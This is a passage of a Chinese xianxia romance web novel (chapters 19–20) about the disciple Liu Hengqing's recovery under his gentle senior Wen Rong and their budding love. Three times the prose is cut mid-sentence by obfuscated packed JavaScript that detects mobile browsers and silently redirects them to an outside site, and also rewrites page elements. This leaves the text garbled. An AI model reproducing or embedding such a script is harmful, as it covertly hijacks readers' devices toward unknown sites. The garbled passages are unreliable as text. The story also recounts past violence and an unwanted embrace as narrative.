柳恒清没见过父亲,但从柳如花口中知道他不是个好东西。柳如花给柳恒清起名“澈”,就是希望他一辈子都清清白白,别像他父亲那般一辈子在阴沟里谋生,最后死了都找不到尸体。 可就算柳恒清如母亲希冀的那般清清白白做人,依然过得如阴沟里的老鼠一般。 柳如花一个寡妇在村里难免受人欺凌,好在她足够泼辣,凭着一柄扫帚喝退了那些无耻之徒,母子俩日子虽然拮据但也能吃饱饭。后来,瓶子师父来了村子,时常出入柳如花家中,村中便渐渐有了些流言蜚语。村里的孩子本来还会偶尔和柳恒清一起玩耍,但被长辈们影响后,便也跟着喊柳恒清野种。 初至蓬莱仙山时,那些世家弟子自然也是看不上柳恒清的,即便他是初选第一又如何?言谈举止粗俗不堪,一点上不了台面。更气人的是,凭什么大家同样修炼,甚至他们作为世家弟子从小的修炼方法比柳恒清正统不止一星半点,柳恒清的修为却远比他们高。 鄙夷与嫉妒相互滋养,渐渐生出了莫名的仇恨。不少人都希望柳恒清能消失,就好像没了他,他们就能是第一。 柳恒清不明白他们为何厌恶自己,也懒得弄明白,恨一个人从来不需要理由。柳恒清甚至觉得这就是他的命,除了他娘和瓶子师父,这辈子不会有人喜欢他了。 第一个打破他这种想法的人是程炀。这人看上去又傻又呆还爱哭,柳恒清不过是一时心软,随手给了他几枚铜钱,他竟然就一副感激涕零、愿为柳恒清肝脑涂地的架势。 之后柳恒清成了掌门弟子,早将程炀忘在了脑后,他却真的使尽浑身解数通过历练,来到了柳恒清身边。 “你老跟着我干嘛?都说了那几枚铜钱我给谁都一样,当时只不过是我心情好想给,而你运气好收到了而已,用不着这样。”彼时的柳恒清很不适应被人追捧的滋味,他看着程炀崇拜的眼神,只觉得浑身百蚁啃噬般难受。 程炀却不理会他的拒绝,道:“没有柳大哥当日的恩赠,便不会有今日的程炀。我祖父时常教诲我滴水之恩涌泉相报,更何况柳大哥于我,岂是滴水恩情?” 柳恒清眉头皱成了一团,叫喊着让他住口:“别说了!你恶不恶心啊?我用不着你报恩,你爱干嘛干嘛,反正别烦我。” “好,程炀绝不会打扰柳大哥,但日后柳大哥若有任何用得到程炀的地方,请尽管开口!” 程炀说得郑重其事,柳恒清听得面红耳赤。柳恒清原本并未当真,直到后来他参加仙盟大会,险遭同门弟子暗害,程炀不顾自身安危挺身而出,救下了他,他才终于有些相信程炀说的那番话。 也是因为在仙盟大会受了重伤,柳恒清才有机会上千秋山,见到温戎。 柳恒清见到温戎时并未一眼认出他来,只是觉得此人生得俊美无双,与洛宁毓不相上下。他拜入蓬莱山一则是因为儿时帮过自己的那位哥哥说自己来自于此,二则便是听说蓬莱派中有两位如宝似玉的仙君。 冷若冰霜的玉山君柳恒清已经领教过了,自打他第一次见面时喊了对方一声“宁毓哥哥”之后,洛宁毓就没对他有过好脸色。柳恒清自然也不是个乐意倒贴的人,别人既然烦他,他走就是了。 原本他还以为凭借自己俊朗不凡的外表和旷世奇才的威名,定能让这两位如宝似玉的仙君对自己青睐有加,可有了洛宁毓在前,他对另一位也打消了这番妄想。 但温戎和洛宁毓简直是两个极端。 温戎的容貌世间少有,脸上永远带着如春风般温暖的笑意,为人和善待人有礼,即使柳恒清在众弟子中声名狼藉,他也从未对柳恒清有任何偏见。 柳恒清一度认为温戎可能是没听说他,有次终于主动搭话道:“师兄,你之前听说过我吗?” 温戎道:“听说过,你名气很大。” 柳恒清觉得温戎这是在嘲讽他,撅了撅嘴:“是名声很差吧。” 温戎笑而不答,默默帮他换药。柳恒清觉得那次上药格外得疼,定是温戎嫌弃他话多了,心中觉得他根本是只笑面虎,面上不说却玩阴的。但如今他得仰仗着温戎给他疗伤呢,只能憋着气老老实实闭嘴。 柳恒清那段时间住在千秋山上,几乎睁眼后见到的第一个人和闭眼前见到的最后一个人都是温戎。他觉得如果一辈子都住千秋山上也挺好的,每日有美人看,只要不说话,也不用担心被人使绊子。 温戎帮他换药时,他总是目不转睛地盯着温戎看。看他白皙无暇的肌肤,看他修长的脖颈和纤细的腰肢,还有骨节分明的手。 其实温戎的声音也好听,清润温和。但他话不多,每日只是例行问问柳恒清的感受,大多时候两人都是沉默的。 仙盟大会回来时许多弟子受了伤,千秋山上的人每日都很忙,温戎也不例外。他辗转于各处,几乎焦头烂额。 柳恒清躺在床上能听见他四处奔波的声音。其他弟子不像他那样沉默,他们似乎都很喜欢温戎,疗伤的过程中几乎都喋喋不休,温戎也十分耐心地回应着,然后快速转向下一个弟子。 柳恒清心道:温戎果然也是讨厌我的,别人和他说话可以,我和他说话就不可以。 但是连着听了好几日之后,柳恒清忽然发现了一件事,但他又觉得肯定是自己自作多情了,便没问。 又过了半个月,民间忽然爆发了一场瘟疫,千秋山的弟子除了给蓬莱派的弟子疗伤外,还得轮流下山去行医,一天下来都没法合眼。 那是柳恒清第一次没在温戎脸上看到笑意。 他起初吓了一跳,斟酌再三,小心翼翼开口询问道:“师兄,你怎么了?” 温戎摇摇头,声音里满是倦怠:“累。” 柳恒清闻言,稍稍放了心:温戎不笑与我无关,应该不用担心他给我投毒。 温戎和平日一样帮他拆纱布换药,只是今日的动作格外慢。柳恒清明显觉得他和平时不一样了,但又不敢问。 温戎慢条斯理地换完了药,长出了一口气,轻声问道:“可否让我在这儿打个盹儿?” 柳恒清微微一愣,一下子没反应过来温戎在说什么。 温戎无力地扯了扯嘴角,算是对他笑了笑,道:“连着五日没合眼,实在有些乏累了,那么多弟子里,就属你最安静。” 柳恒清想问温戎怎么不回自己屋里睡,但温戎已经睡着了。 柳恒清想,看来自己并没有自作多情。温戎给其他弟子换药疗伤一直是来也匆匆去也匆匆,但唯独在柳恒清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我刚刚不是说了吗?与人为善又不会掉块肉。”温戎忽然觉得柳恒清今日话变多了。 “可……如果他们不值得呢?” “谁不值得?”温戎反问道。 柳恒清被温戎问得有些烦躁,道:“我。别人都讨厌我,你知道的吧?” 温戎颔首道:“有所耳闻。你在夜里与其他弟子斗殴、烧了别人的衣服和书、比试时在众目睽睽之下把对手的裤子扒了。” 柳恒清有些不屑地轻哼一声,道:“你说的这些,甚至不及我做过的十分之一。不怕告诉你,我还曾经差点淹死过村里的一个小孩,用仙术打瞎过一个人的右眼。你难道觉得,我值得你与我为善?” “你为什么那么做?”温戎问道。 “想做就做。”柳恒清满不在意道。 “事出有因。” “知道了原因又如何?那些事还不是我做的?” “一件事若只听其中一方的一面之词,未免有失公允。”温戎平静道。 柳恒清微微一怔。公允?他活了这么久,公允何时站在他这一边?如今竟然有个人想为他评理了。 柳恒清忍不住笑了:“好啊,那我就把原因说给你听听,然后你告诉我,何为公允。” 19. 第 19 章 温戎正襟危坐,等着柳恒清开口。 柳恒清懒懒散散地躺在床上,娓娓道来:“我想淹死的那个小孩,在我面前说我娘和我师父苟且,还朝我扔石子。我要他闭嘴,他却越说越来劲,于是我把他的头按进水里,这样他就说不出话了。 被我打瞎右眼的狗杂种偷看我娘洗澡。我本来想把他两只眼睛都弄瞎的,我娘说算了,真弄瞎了我们以后在村里就待不下去了。 和弟子院的人打架、烧他们的书是因为他们先撕了我的剑谱,还侮辱我师父。衣服是不小心一块儿烧了的。而且,明明是他们先动手,可洛宁毓只罚我。 当众脱卫玉琢裤子是因为他趁我洗澡,把我衣服拿走了。我只能抱着盆文竹挡着,结果半道遇到了女修,被追着打……” “噗……”温戎没忍住轻笑了一下,立刻又严肃道,“对不起,你继续。” 柳恒清冲温戎翻了个白眼,道:“你想笑就笑吧。” 温戎没再笑,而是认真道:“看来的确都是事出有因。” 柳恒清没说话。事出有因又如何呢? “我相信你本性不坏。”温戎道。 柳恒清嗤笑一声,嘲讽道:“师兄自小在这仙山中长大,认识的人也都是仙君雅士,过于天真也实属正常。我们认识不过月余,除了今日也鲜少交流,你如何能知我本性不坏?” 温戎没与他计较,而是微笑道:“你猜。” 柳恒清见温戎一副对他十分了解的样子,莫名来气,故意道:“你觉得我本性不坏,可你知不知道我一直觉得你和其他人一样讨厌我?我并不安静,我只是觉得你不想听我说话,如果我说话你会故意在上药的时候弄疼我;你昨天来的时候没笑,我还怀疑你想害我;你整日对人笑,我却只觉得你是只阴险的笑面虎。” “哦?”温戎闻言,不怒反笑,“倒是第一次听人说我是笑面虎。” “你怎么不生气?你明明没想害我,但我却把你想的那么坏,你不该生气吗?还是说你这人根本就不会生气?” 温戎道:“我当然是会生气的,只不过,如果是你这样想,我不会生气。” “为什么?”柳恒清更加疑惑了。 温戎轻叹道:“因为你很少被人善待,所以会习惯以恶意揣测他人的想法。” 柳恒清沉默了许久,忽然面带愠色道:“你是在可怜我?” 温戎抬眼看他,道:“说可怜有些过了,应该是,心疼你。” “什、什么?”柳恒清不可思议道,脸颊瞬间爬上了一层红晕,困倦的睡意也消失无踪。 温戎笑了笑,却不再多说了,站起身给柳恒清掖了掖被子就走了。但柳恒清已经彻底睡不着了。后半夜,他的脑子里只有一句话:居然有个人,不仅不讨厌我,还……心疼我? 柳恒清觉得温戎这人很不可思议。 第二天,柳恒清的话明显变多了。 温戎正在拆纱布,柳恒清问道:“师兄,昨夜有几个人敲你房门?” 温戎头也没抬,回答道:“三个。” “都什么伤?” “没伤。送参汤,送夜宵,送医书。” “参汤?是你昨夜给我的那碗参汤吗?” “嗯,对你恢复有好处。” 柳恒清微微挑眉;“别人送你,你却给我,这不好吧?” “我身体无碍,喝了也没差,不如给你,物尽其用。” “那你今天都做了什么?”柳恒清又问。 温戎再答:“照例给你们疗伤换药,去百草园除草,给仙鹤喂食,帮叶文舟值了会儿班,替方莹师妹抄了书,给几个师弟补了衣服,还下山去给启皓拿了他的毯子,他说不盖那块毯子睡不着。” 他边说,边帮柳恒清重新敷药。伤口已经长出了新肉,恢复得很好。 “他事儿最多了,娇贵得很。”柳恒清翻了个白眼。 温戎轻笑道:“也挺可爱的。” “他哪里可爱了?”柳恒清不敢相信自己的耳朵听到了什么。 “他一看便是被家里宠着长大,脾气暴躁了点,不过心思单纯,没什么坏心眼。” “这就算可爱?” “对啊,你也可爱。”温戎抬起头,对柳恒清微微一笑。他那双漂亮的凤眸微弯,眼底仿佛藏着细碎的月光,又如深渊一般,让人看一眼便不自觉地沉沦。 有一瞬间,柳恒清觉得自己的心要爆了,突突突猛跳了十几下。他怔了许久,终于涨红着脸道:“我不可爱,我很帅!” “噗……”温戎抬袖遮住嘴,眼睛弯成了月牙,又马上低头给柳恒清缠纱布,肩膀一抖一抖的,“嗯,很帅。” “你……你取笑我。”柳恒清脸更红了。 “没有,你真的很好看。”温戎仔细端详着柳恒清,诚恳道,“朗目星眸,鼻若悬胆,嘴角总是微微上扬,笑起来还有酒窝。等你下山入世,光是凭这张脸也能名声大噪。” 闻言,柳恒清反而低下了头。他不适应被除了他娘和师父以外的人夸赞,尤其是如此认真的夸赞。他别扭地转移了话题:“你一天帮那么多人,不累吗?” 温戎思考了片刻,道:“还好。” 柳恒清看了温戎一会儿,问道:“不是帮我换好药了吗?你怎么还不走?” 温戎微微挑眉,道:“这是在下逐客令吗?” “不是,我就问问。” “你难得肯开口多说两句,我想多听一会儿。” 柳恒清不解道:“别人话更多,怎么不见你在他们那儿多待一会儿?” 温戎眼底浮起一丝无奈的笑意:“你今天跟我说这么多话,是想看看我会不会马上离开吗?” 被当面戳穿,柳恒清却面不改色:“是啊。” “为什么?你不喜欢我在这儿?” 柳恒清沉默片刻,低声道:“我想看你会不会讨厌我。” 温戎先是不解,而后是无奈。他伸手揉了揉柳恒清的脑袋:“别胡思乱想,对你内伤的恢复不好。你只是多说几句话,我怎么会因为这个就讨厌你。” “他们讨厌我,好像也没什么原因。”柳恒清本来以为自己对此已经麻木了,可真当自己说出口了,他才意识到自己并不是毫不在意的。他委屈、难过,他也想有朋友。 温戎看他像只受伤的小狗一样微微蜷缩着,又是一阵心疼。他道:“木秀于林,风必摧之。但这不是你的错,会有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温戎听他说话中气十足,心中虽仍有疑虑,但也没再多纠缠,只让柳恒清有任何不舒服记得喊他,便合上门出去了。 之后的几天里,柳恒清根本不敢多看温戎,一换好药也马上躲进被子里把自己藏起来。温戎不懂他这是怎么了,可问了好几次他都缄口不言,温戎也很是无奈。 又过了半月,柳恒清的腿伤好得差不多了,能下床走动走动,每日只需要喝些苦得掉渣的药汤,泡泡药池就行。 送药这种事用不着温戎亲力亲为,每日有小弟子送到柳恒清屋里,他一连好几日见不着温戎,心中不免落寞。见得着时不敢看,见不着时又想得紧,柳恒清说不上自己为何会如此矛盾。 他时常会偷听温戎在做什么,每日去了哪儿,就这么干听了几日,终于有些按耐不住了:“光是在这儿听有什么用,都在千秋山,我不能直接去见他吗?”柳恒清想着,便开始又凝神静听,他分得出温戎的脚步声,知道温戎往药房去了。 他忽然觉得自己有些可笑,谁会用深厚的内力去偷听别人在做些什么啊……但自嘲归自嘲,柳恒清的脚还是往药房走去。 还没走近,柳恒清就已经闻到了那股浓郁的药味,他眉头紧蹙,有些犹豫到底要不要进去找温戎了。 正在柳恒清准备转身之际,忽见药房门口飘过一抹熟悉的身影。 只那一眼,柳恒清竟觉得这药味一点也不难闻了,甚至有股莫名的吸引力。 20. 第 20 章 温戎见柳恒清来,微微诧异道:“恒清,你怎么来了?” “我……那个药太苦了,我来看看能不能找到些冰糖。”柳恒清随口胡诌。 “良药苦口,加了冰糖会破坏药性的。”温戎转过身,在药柜里翻了翻,拿出一包冰糖递给柳恒清,“喝完药半个时辰后再吃。” “谢谢师兄。”柳恒清双手接过,很是郑重,仿佛那不是包冰糖,而是什么重要的信物一般。 他看到一旁咕嘟咕嘟冒泡的药盅,问道:“师兄在煎药?” “嗯,负责煎药的小师弟昨日受了风寒,我帮他弄。”温戎拿了帕子裹在把手上,把药倒进碗里,“这碗是你的,刚好你来了,我就不用亲自送过去了。” “啊……”柳恒清心中叫苦:我可不是来喝药的…… “放凉些再喝。”温戎说道,又去交代那几个在一旁捣药的小师弟去送药汤。 柳恒清吹了吹气,抿了一口药,被苦得直吐舌头,赶紧把药推到一边去,抬头忽见这偌大的药房里只剩他和温戎两人,心中暗自窃喜,凑到温戎身边,道:“师兄,我帮你吧。” “好,谢谢你。” 柳恒清挨着温戎坐下,嘴角不自觉地上扬,像是捡到了大便宜。 外头凉风习习,但药房里因为在煎药,所以暖烘烘的,很是舒服。柳恒清坐在温戎身旁,重复着捣药的动作,内心十分平静,几乎都要睡着了,连温戎拉过他的手把脉也没察觉。 “嗯,再过五日就能下山了。” 这句话把柳恒清吓得一激灵,他猛地抬起头,问道:“什么五日,什么下山?” 温戎道:“你啊,伤好了就该下山了。” 柳恒清拧眉道:“千秋山这什么破规矩啊,一刻也不让人多待。” 温戎道:“伤者需静养,自然不便留客。” “那凭什么不让你们下山呢?你们下山又不打扰伤者。”柳恒清抱怨道。 “要是我们随意下山,有意外情况却找不人可怎么办?” 柳恒清撅撅嘴,嘟囔道:“不是总有人在值班吗……” 温戎的目光落在很远的一处,惋叹道:“听说从前是可以随意下山的,但十几年前魔教突袭,派内伤亡惨重,留在千秋山上的弟子人手不够,外头的人也回不去,许多弟子都是因为没能及时得到医治死去的,自那之后便不许我们轻易下山了。” 柳恒清闻言,忽觉自己方才的抱怨十分幼稚,有些羞愧道:“原来还有这样的内情,是我太浅薄了。那你们怎样才能下山?” 温戎道:“每人每年都能有一个月的探亲假,不过我没有家人,蓬莱山就是我的家,所以如果不是师父要我出去处理事务,我一般不下山。” “哦……”柳恒清莫名有些郁闷,不想再继续待下去了。他把捣好的药还给温戎,一口闷了药就走了。 一想到没几日就要下山,柳恒清一整天都提不起劲来。明明刚来时烦得要命,巴不得赶紧离开这破地方,谁能想到要走了,反而舍不得了。 泡过安神助眠的药浴,柳恒清夜里却辗转反侧,难以入睡,睁眼闭眼都是温戎。他不断想起那日温戎在他屋里睡觉时的样子,想到温戎眼角那颗不易察觉的泪痣,还有他白嫩的脸颊。 “温戎这会儿该睡了吧?要不我悄悄过去看看他。”柳恒清一打定主意就从床上坐了起来,犹豫片刻又躺回去,“不行,现在过去打扰他,那我岂不是和那些半夜敲温戎门的人一样了?” 思及此处,他又躺了回去:又没什么要紧事,怎么能去打扰温戎休息呢?哎,过几日就下山了,再多看几眼也无济于事啊……我又不是那种常常受伤的菜鸟,以后肯定不会来了,那岂不是看一眼少一眼嘛?算了,等温戎醒了再去看看他吧……不是,我为什么要看温戎啊?我有病啊……他给我的药肯定有问题! 柳恒清思来想去,一夜未合眼,想得头昏脑胀也没想出个所以然来。外头天才蒙蒙亮,他就爬起来去找温戎,在他屋前站了许久,终于听到里头有点动静了才抬手敲门。 “何人?” 温戎刚醒来的声音和平时比起来略有些哑,但柳恒清觉得依然好听。 “师兄,是我,柳恒清。” 温戎边揉眼睛边开了门,他长发还未束起,就那样披散在肩头,青丝乌黑浓密,衬得他的肌肤越发白皙,清瘦的身子被包裹在薄薄的中衣里,晨风轻抚,整个人看上去有股弱不禁风的书生气。 那张俊美无双的脸略带困意,看上去懵懂无神,却更加诱人。柳恒清忍不住想,除了他还有其他人见过温戎刚睡醒的样子吗? “恒清,这么早有什么事?”温戎问道。 柳恒清回过神来,一时却说不出自己来这里的目的,支支吾吾了半天,道:“我帮师兄束发吧。” “什么?”温戎正怀疑自己没睡醒听错了,就见柳恒清已经一脚跨了进来,拉着他坐到桌前,“恒、恒清?” “师兄放心,我小时候还帮我娘盘发髻呢,手艺好着呢。”柳恒清对着镜子里的温戎露出了一个大大的笑容。 温戎无法,只得由着他摆弄自己的头发。温戎平日只是简单地将头发全束起来,显得干净利落,而柳恒清给他弄的却是半披半束,额间还留了龙须刘海,兼具干练与飘逸,气质也更加温柔了些。 柳恒清目不转睛地看着镜子里的温戎,见他也露出惊喜的神色来,便道:“这几日我都来给师兄束发可好?” “这怎么好意思,我每日起得早,你的伤刚好,还是得多多休养。”温戎注意到柳恒清眼下的青黑,问道,“昨夜没睡好?” 何止是没睡好,根本没睡…… 柳恒清道:“睡了,只是醒得早,闲来无事就来看看师兄。” 温戎淡淡一笑,道:“那好吧,照顾好自己最重要。” 得了温戎的应允,柳恒清那几日更是欢喜得睡不着,每日鸡一打鸣便爬起来守在温戎屋前,看着温戎没睡醒的样子就觉得心里莫名的满足:这样的温戎只有我见过!还见了好多次! 但四五天的光景过得实在快,马上柳恒清就得收拾铺盖滚下山了。他沮丧地捧着脸蹲在温戎屋前,明明听见了里头的动静也故意没敲门。 温戎每日都是刚醒就听见敲门声,今日没听见竟还有些不习惯了,过去打开门就见柳恒清撅着嘴蹲在自己面前。 他微微一愣,看着柳恒清那委屈的模样,莫名联想到了被主人关在门外的小狗,心一软,也蹲下身来,揉了揉他的脑袋,温声道:“怎么啦?” 柳恒清伸手勾了一缕温戎的头发,缠在手指上,道:“我今天该下山了。” 温戎垂眸,道:“嗯。” 他声音有些哑,柳恒清听不出里面有没有不舍的意味。 “师兄会想我吗?”柳恒清轻轻拽了拽温戎的头发。 “当然。”温戎笑得十分柔软,柳恒清简直要溺死在他的眼神里。 柳恒清站起身,温戎以为他心情好些了,也跟着站起身来,谁知下一刻柳恒清竟直接扑了上来。 温戎一惊,先是僵在了原地,随即涨红着脸想推开柳恒清,奈何柳恒清虽然年纪比他小些,但个头与他差不多,又长年修炼,力气不是他能比的,一时竟挣脱不开。 “恒清!恒清!你、你放开我……”温戎急道。 柳恒清却摇了摇头:“我舍不得师兄。” 闻言,温戎脸更红了些,不断地想拉开两人的距离,可他越是挣扎,柳恒清抱得就越紧,温戎只能哄道:“以后还会见到的,下个月我找师父请假,下山看你如何?” “不,师兄忙。” “我挑个不忙的时候,好不好?”温戎继续哄。 “嗯……好。” “那你放开我,好不好?”温戎循序渐进。 “不好。”柳恒清扭了扭身子,好不容易有机会抱抱温戎,他怎么舍得这么快就松手呢?上回抱温戎上床,他压根儿没多想,但现在可不同,他要好好感受一番。 “可是,我……”温戎的脸都烧起来了,他才刚醒,这样抱着实在是太尴尬了。 柳恒清把脸埋进温戎的颈窝,嗅着他发丝间的香气,许久才恋恋不舍地放开他。见温戎脸红得像熟透的苹果一般,他道:“师兄,没关系,我也是男人,我明白。” “你……”温戎原本是有些生气的,可一见柳恒清那单纯无辜的眼神又只剩了无奈,“下次,不许抱了。” “好。”柳恒清面上乖巧应道,心里已经想清楚之后要如何见温戎了。 —— 掌门赵寒之内心对柳恒清这个弟子的感情很复杂,一方面觉得他是个难得一见的奇才,日后必成大器;另一方面又觉得这逆徒为人轻佻,整日吊儿郎当不求上进,烂泥扶不上墙。 赵寒之将柳恒清收入门下后,本想着严加管教,改掉他那一身臭毛病,引他走向正道,谁知这逆徒自打受过一次伤后,三天两头身上这疼那疼,总想着溜上千秋山偷懒。 今天也不例外。 “掌门,我昨日在山崖被人推下来,脚扭到了。”柳恒清一瘸一拐地走到赵寒之面前。 赵寒之却是不信,怒道:“上个月头疼,前几日腰疼,今日脚疼,明日你又是哪疼啊!” “掌门,我今天真扭到脚了!”柳恒清拉起裤腿,给赵寒之看他肿得像猪蹄一样的脚腕。 “今天真扭到?你的意思是前几次都是假的了!”赵寒之怒目圆睁。 柳恒清连忙摆手:“不是不是,都是真的,师兄给我把过脉了,你不信可以去千秋山问。” “我才没你那闲工夫!哼,被人推下山崖?我问你,就凭你的内力,谁能悄无声息走到你身后还把你推下山崖?就算推下山崖了,你难道不知道御剑?” 柳恒清被问得哑口无言。的确有人推他下山崖,不过是他逼程炀推的…… “我看你根本是想去千秋山偷懒不修炼。好,既然如此,我今天就成全你,让你再去躺个十天半个月!”说着,赵寒之便抽出了法器断魂鞭。 柳恒清连连后退,被掌门抽几鞭可不是闹着玩的,他是想去千秋山,但没想真的受皮肉之苦啊…… “掌门息——哎呀!”他话没说完,断魂已经一鞭子抽了下来,柳恒清转身想跑,脚腕却疼得厉害,一下摔在了地上,火辣辣的疼顿时从后背传来。紧接着,又是第二下、第三下。 柳恒清叫苦不迭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438316|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在掌门也没真想把他打出事来,抽了三鞭子就喊人把他抬上千秋山去了。 温戎一见柳恒清这回是叫人抬上来的,吓了一跳,问道:“这是怎么回事?” 第五朔冷哼一声:“他活该,天天想着上山来偷懒,被掌门抽了三鞭子,看他以后还敢不敢了!” 第五朔把他送到后药房后就跑了,他可不想因为柳恒清耽误了自己的时间。 温戎看着柳恒清,不禁皱起眉头,叹了口气,剪开柳恒清的衣服一瞧,那三条鞭痕道道血肉翻涌触目惊心。他紧抿着嘴,沉默地给柳恒清处理伤口。 药粉毫无预兆地撒在伤口上,疼得柳恒清直抽抽。他觉得温戎不太对劲,之前上药前都会提醒他一声的,可这次温戎却一声不吭。 “师兄。”柳恒清试探性地叫了一声。 温戎没应。柳恒清心道:坏了,不会生气了吧? 他想扭过头看看,却被温戎一把按住了头。他脸埋在枕头里,声音闷闷地传了出来:“师兄,你怎么不说话?” 温戎还是不答,柳恒清终于急了:“师兄,师兄!你别不理我啊,我错了……” “你当然有错,没错掌门就不会打你了。”温戎语气生硬道。 柳恒清扯了扯温戎的衣角,低声道:“师兄,你别生我气。” 温戎不语,默默加重了手上的力道,柳恒清疼得直哼哼,眼泪汪汪地求饶道:“师兄轻点,疼……” 温戎一向心软,见他这可怜样,虽然嘴上不说,但还是默默减轻了力道。 药房里没有其他人,只听得到柳恒清装模作样的啜泣声,温戎理都不理他,匆匆包扎好就要赶他走:“下山去吧。” “啊?掌门说要让我躺十天半个月的。”柳恒清道。 温戎眉头一皱,气道:“你现在不回去,以后来了也见不到我。” “别!我走就是了……我就是想你了。”柳恒清噘着嘴委屈道。 “想我就要把自己弄成这样吗?你前几次来,不过是些小毛病,我便随你胡闹了,谁知你还变本加厉了。也是我不好,从一开始我就该制止你,你也不至于惹掌门生气了。”温戎道。 “你没有不好,师兄是最好的。”柳恒清想凑上去,却被温戎无情推开了,他撇撇嘴,“师兄当真生我气了?以后都不理我了吗?” 温戎不言。柳恒清叹了口气,抹了抹眼角不存在的泪花,道:“我果然还是讨人嫌,好不容易有个人不那么讨厌我,我也没留住……” “我……我没说不理你了。”温戎见不得他那可怜样,无奈道,“可是,你不能这样不爱惜自己。身体发肤受之父母,就算你不心疼自己,你娘不也会心疼吗?” “师兄心疼吗?”柳恒清眨巴着水汪汪的眼睛问道,那模样真是又乖又无害,谁见了也不舍得再对他说句重话。 温戎移开眼,不去看柳恒清。他心里清楚柳恒清是装的,但一对上他的眼睛,就狠不下心来。 “启皓说的对,你活该。”温戎故意道。 “我错了师兄,我再也不敢了。我就是想你,我不知道除了这样还能怎么见你。” “也不全是你的错。”温戎道。 “就是我的错,我不爱惜自己,让师兄心疼了。”柳恒清道。 温戎忍俊不禁,气道:“谁心疼你了?你活该。” “对对对,都是我活该。师兄,我好不容易才来的,别跟我生气了。”柳恒清撒娇道。 温戎轻叹一声,轻抚着他的背,道:“很疼吧?” “不疼不疼,见到师兄就不疼了!”柳恒清笑道。 温戎嗔怪道:“就会贫嘴。” 柳恒清嘿嘿一笑,巴巴地凑到温戎身边,靠到他肩头,把玩着他的发丝。 温戎后来没再把头发全束起来过,一直是按柳恒清帮他弄的那样半披半束着,那根墨玉簪也换成上次柳恒清送他的青玉竹叶簪。 柳恒清几近痴迷地望着温戎,道:“师兄,你真好看。” 温戎耳根微红,低声道:“不许胡说。” “没胡说,真的。师兄是我见过最好看的人,我最喜欢师兄了。”柳恒清真情实意道。 温戎脸也红了起来,轻轻推了一下柳恒清,催促道:“快回去,晚了掌门该更生气了。” “可是……好吧。”柳恒清不舍道,但温戎才刚消气,他也不敢胡闹,“师兄如果下山,一定要来找我呀。” 温戎点点头,犹豫片刻后,走上前去凑到柳恒清耳边道:“明日子时,藏书阁。” 温戎的声音轻如羽毛,在柳恒清的心里轻轻抚过,惹得他一阵心痒难耐。他转过头,就见到温戎近在咫尺的脸。 温戎脸上带着羞涩的笑意,宛如一朵含苞待放的花。柳恒清希望这朵花能绽放得更热烈一些。 他微微侧首凑上前去,温暖柔软的两片唇瓣紧贴在一起。温戎身子微微一僵,却没推开柳恒清,默许了他的放肆。柳恒清见温戎不反抗,伸手将他抱得更紧了些,青涩又笨拙地去探索着属于温戎气息和味道…… 如果能一直都这样该有多好。 当时的柳恒清这般想着,如今孤独地躺着柴房里的柳恒清也是这般想的。